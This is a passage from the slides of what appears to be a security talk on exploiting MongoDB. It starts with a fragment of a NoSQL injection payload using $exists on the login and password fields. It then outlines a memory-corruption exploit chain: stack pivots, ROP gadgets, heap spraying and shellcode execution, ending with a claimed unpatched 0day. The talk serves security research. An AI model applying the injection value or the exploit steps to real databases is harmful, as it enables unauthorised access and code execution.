be"+"x6cx5ax05x08"+"x20x20x20x20"+"x58x71x45x08"]);','login':{$exists:'toto'},'pass': {$exists:'toto'}})
  • 32. 32 mongoDB – Exploitation › Land to the stack › PIVOT 1 › [Eax] => pointer+0xb => nativeHelper argument › Gadget 1 : Mov eax, [eax] … call [eax+0x1c] › nativeHelper argument is UTF8 encoded without null byte › eax+0x1c : gadget 2 : xchg esp, eax [inc esp], ret › Esp-1 => begining of nativeHelper argument › Gadget 3 : [inc esp] to clean stack control
  • 33. 33 mongoDB – Exploitation › Control the stack › UTF8 and no null byte in nativeHelper argument › PIVOT 2 => to the rop chain heap sprayed › Gadget 4 : pop eax, ... ret › Eax => rop chain in the heap (0x20202020) › Gadget 5 : xchg esp,eax … ret › RetSled › Stack control done !
  • 34. 34 mongoDB – Exploitation › Execute shellcode › First Heap Spray with nopsled+shellcode › mmap RWX the heap › Jump to the heap (0x0C0C0C0C) › Enjoy !
  • 35. 35 mongoDB – Exploitation › To improve › Heap spray is for pork ! › 64 bits exploit... (null byte :o :o :o) › Windows exploit › Multiple version exploit
  • 36. 36 The end › Still mongo 0day o/ › A lot of work to do... › NoSQL is not so bad !